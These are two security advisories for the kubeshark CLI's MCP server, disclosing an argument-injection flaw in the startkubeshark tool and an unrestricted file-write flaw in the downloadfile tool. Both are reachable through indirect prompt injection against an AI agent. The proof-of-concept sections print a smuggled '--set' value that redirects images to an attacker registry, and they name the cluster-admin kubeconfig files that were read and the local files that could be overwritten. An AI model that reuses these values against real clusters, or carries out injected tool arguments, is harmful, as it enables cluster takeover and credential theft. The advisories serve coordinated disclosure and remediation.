See how kubeshark compares to other vendors in security performance
Ecosystem / package: Go — github.com/kubeshark/kubeshark (the kubeshark CLI, kubeshark mcp subcommand) Affected component: cmd/mcpRunner.go, MCP tool startkubeshark Affected versions: >= v53.1.0, < v53.4.0 (the flaw shipped with the MCP command's first release; v53.3.0 was the last affected release) Patched version: v53.4.0 Credit: novice-22 (Urim), via private coordinated disclosure.
Summary The startkubeshark MCP tool builds a kubeshark tap command by appending the caller-supplied podregex as a bare positional argument, with no -- end-of-options separator. Because tap is a cobra command, a podregex that begins with -/--set= is parsed as a flag, not as the pod regex. An attacker who can influence the tool arguments (e.g. indirect prompt injection against an agent driving kubeshark mcp --allow-destructive) can inject arbitrary --set Helm value overrides — notably tap.docker.registry / tap.docker.tag — redirecting the deployed worker/hub/front images to an attacker-controlled registry. The worker DaemonSet runs privileged with hostNetwork and the host filesystem mounted, so an attacker image yields node and cluster-admin compromise.
Introduced in Commit 0bbbb473 — "[1] Add MCP (Model Context Protocol) server command (#1832)", 2026-02-06 — first released in v53.1.0 (v53.1.0~23). The podregex argument has been appended as a bare positional since the tool's introduction; there is no regression window, every MCP-capable release is affected.
Details In callStartKubeshark (cmd/mcpRunner.go), the command was built as ["tap", <podregex>, "-n", …, "--set", …, "--set", "headless=true"] with podregex inserted as a raw element. cobra parses flags positionally-agnostic and there was no -- guard, so podregex="--set=tap.docker.registry=…,tap.docker.tag=…" became a real --set. The tool is only registered when kubeshark mcp --allow-destructive is set.
Proof of concept (reporter, abridged) Driving kubeshark mcp --allow-destructive: startkubeshark with podregex="--set=tap.docker.registry=<attacker>,tap.docker.tag=<tag>" caused the CLI to construct kubeshark tap --set=… --set headless=true, deploying an attacker image. The image ran as root inside the privileged worker container and read the host's cluster-admin kubeconfigs (/etc/kubernetes/super-admin.conf, admin.conf, pki/) — i.e. cluster-admin takeover from a single podregex value.
Impact Full Kubernetes cluster compromise (cluster-admin) from a single injected tool argument, when the operator runs the MCP server with --allow-destructive.
Severity rationale Kubeshark scores this 7.2 High, down from the reporter's 8.3, on two metrics. The impact half of the vector (S:C/C:H/I:H/A:H) is unchanged — cluster-admin takeover is real and Kubeshark does not contest it.
- AV:N → AV:L. kubeshark mcp is a local stdio MCP server with no network listener. The attacker's payload reaches it as content an agent running on that host ingested and replayed into a local tool call. The poisoned content may have travelled over a network, but the exploited interface is local. - PR:N → PR:H. Two administrative preconditions must already hold on the target host: the operator must have started the MCP server with the explicit, non-default --allow-destructive flag (without it startkubeshark is not registered at all), and that host must already hold a kubeconfig with permission to deploy the privileged Kubeshark DaemonSet. The attacker is borrowing an existing high-privilege context, not gaining one.
Kubeshark kept AC:H (the injection must land in content the agent ingests, and the attacker must stand up a malicious registry/image), UI:R (an operator must be actively driving the agent), and S:C (the compromise crosses from the CLI's authorization scope into the Kubernetes cluster — this is what keeps the score in the High band).
Patches Fixed in v53.4.0 by commit a76a1920 (PR #1957).
In cmd/mcpRunner.go: podregex is now appended last, after a literal -- end-of-options separator, so it is always parsed as the [POD REGEX] positional and can never be interpreted as a flag. (namespaces / releasenamespace are passed through -n / -s value flags, which consume their value token and are therefore not injectable.)
Workarounds - Do not run kubeshark mcp with --allow-destructive unless required. - Do not expose the MCP server to untrusted content / untrusted agent inputs. - Restrict the kubeconfig/permissions available to the machine running the MCP server.
Ecosystem / package: Go — github.com/kubeshark/kubeshark (the kubeshark CLI, kubeshark mcp subcommand) Affected component: cmd/mcpRunner.go, MCP tool downloadfile Affected versions: >= v53.1.0, < v53.4.0 (the flaw shipped with the tool's first release; v53.3.0 was the last affected release) Patched version: v53.4.0 Credit: novice-22 (Urim), via private coordinated disclosure.
Summary The downloadfile MCP tool fetches a caller-supplied path from the Kubeshark Hub API and writes the response body to a caller-supplied dest on the local filesystem with no validation of dest. An attacker who can influence the MCP tool arguments — e.g. via indirect prompt injection against an AI agent driving kubeshark mcp — can write attacker-controlled bytes to an arbitrary path writable by the user running the MCP server (e.g. ~/.ssh/authorizedkeys, ~/.kube/config, ~/.bashrc), and can request arbitrary Hub API endpoints. downloadfile is registered unconditionally (available in the default, non---allow-destructive posture).
Introduced in Commit eb7dc42b — "Add getfileurl and downloadfile MCP tools (#1853)", 2026-03-04 — first released in v53.1.0 (v53.1.0~1). An earlier attempt (dbfd17d9) was reverted (a46f05c4) before any release, so no tag before v53.1.0 is affected.
Details In callDownloadFile (cmd/mcpRunner.go), both path and dest come straight from the tool arguments: - dest was passed directly to os.Create(dest) with no confinement — no filepath.Clean, no base-directory containment, no rejection of absolute paths or ../ traversal. Any path the process can write is reachable. - path was concatenated onto the Hub API base URL with no allowlist, so any Hub endpoint (including captured-traffic exports) is reachable.
Auth context (CWE-306 / CWE-200) The tool originally issued the fetch with no authentication. The authentication gap was addressed by the gated-Hub authentication refactor: the download now forwards the operator's Hub credentials (ServiceAccount token / License-Key) and rejects auth-required responses instead of writing a login page to disk. But the Hub ships auth-disabled by default (community/dev), so on a default kubeshark tap the Hub API answers without authentication and captured traffic (credentials/tokens/PII) can still be read and exfiltrated end-to-end. Enforcing Hub auth by default is tracked separately (gated-auth workstream) and is not part of this advisory's fix.
Proof of concept (reporter, abridged) Following the tool's documented workflow on a default community install: exportsnapshotpcap → obtain a relative path → downloadfile with that path and an attacker-chosen dest. The reporter retrieved a captured-traffic PCAP and recovered a planted canary Authorization: Bearer … credential from it, and demonstrated writing the fetched bytes to an arbitrary local path.
Impact - Integrity (local): arbitrary file write on the machine running kubeshark mcp, as that user. - Confidentiality: read of Hub API endpoints, incl. captured network traffic (credentials, tokens, PII) on a default (auth-disabled) install. - Reliable RCE is not demonstrated (script endpoints are JSON-wrapped).
Severity rationale Kubeshark scores this 5.3 Medium, down from the reporter's 7.1, on two metrics:
- AV:N → AV:L. The vulnerable component has no network listener the attacker reaches. kubeshark mcp is a local stdio MCP server; the attacker's input arrives as content an agent running on that host ingests and then replays into a local tool call. The delivery of the poisoned content may cross a network, but the attack surface being exploited is local to the machine. - I:H → I:L. The write is confined to paths writable by the user running kubeshark mcp (normally unprivileged) — no system-file or other-user modification. The attacker also controls where the bytes land, not what they are: the body comes from a Hub API response, so the content is constrained to what the Hub will emit. Reliable RCE was not demonstrated. - A:L → A:N. Nothing in the issue degrades availability of the CLI, the Hub, or the host; the original A:L is unsupported.
Kubeshark kept C:H: on a default community install the Hub API answers unauthenticated, so captured traffic (credentials, tokens, PII) is genuinely readable end-to-end. Kubeshark kept AC:H (the attacker must land an injection in content the agent ingests and know the deployment layout), PR:N (downloadfile is registered unconditionally — no --allow-destructive needed), UI:R (an operator must be driving an agent against kubeshark mcp), and S:U (the impact stays within the local user's authorization scope).
Patches Fixed in v53.4.0 by commit a76a1920 (PR #1957).
Changes in cmd/mcpRunner.go: - dest is resolved through secureDownloadDest and confined to a base directory (the CWD by default, relocatable via KUBESHARKMCPDOWNLOADDIR); a dest that resolves outside the base (via ../ or an absolute path) is rejected. - path is rejected if it contains .. segments. - Containment is re-checked after resolving symlinks, so a symlinked subdirectory inside the base (or a dest that is itself a symlink) cannot redirect the write outside it; the file is opened with ONOFOLLOW where the platform provides it. - Credential forwarding + auth-required detection on the fetch (shipped in the gated-auth refactor).
Workarounds - Run kubeshark mcp as an unprivileged user in an isolated working directory. - Do not expose the MCP server to untrusted content / untrusted agent inputs. - Enable Hub authentication (AUTHENABLED=true + an IdP/license) to close the unauthenticated read path.
Follow-ups (not blocking this advisory) - Strict prefix allowlist for the Hub path (current fix only rejects ..). - Hub-side default auth enforcement (gated-auth workstream).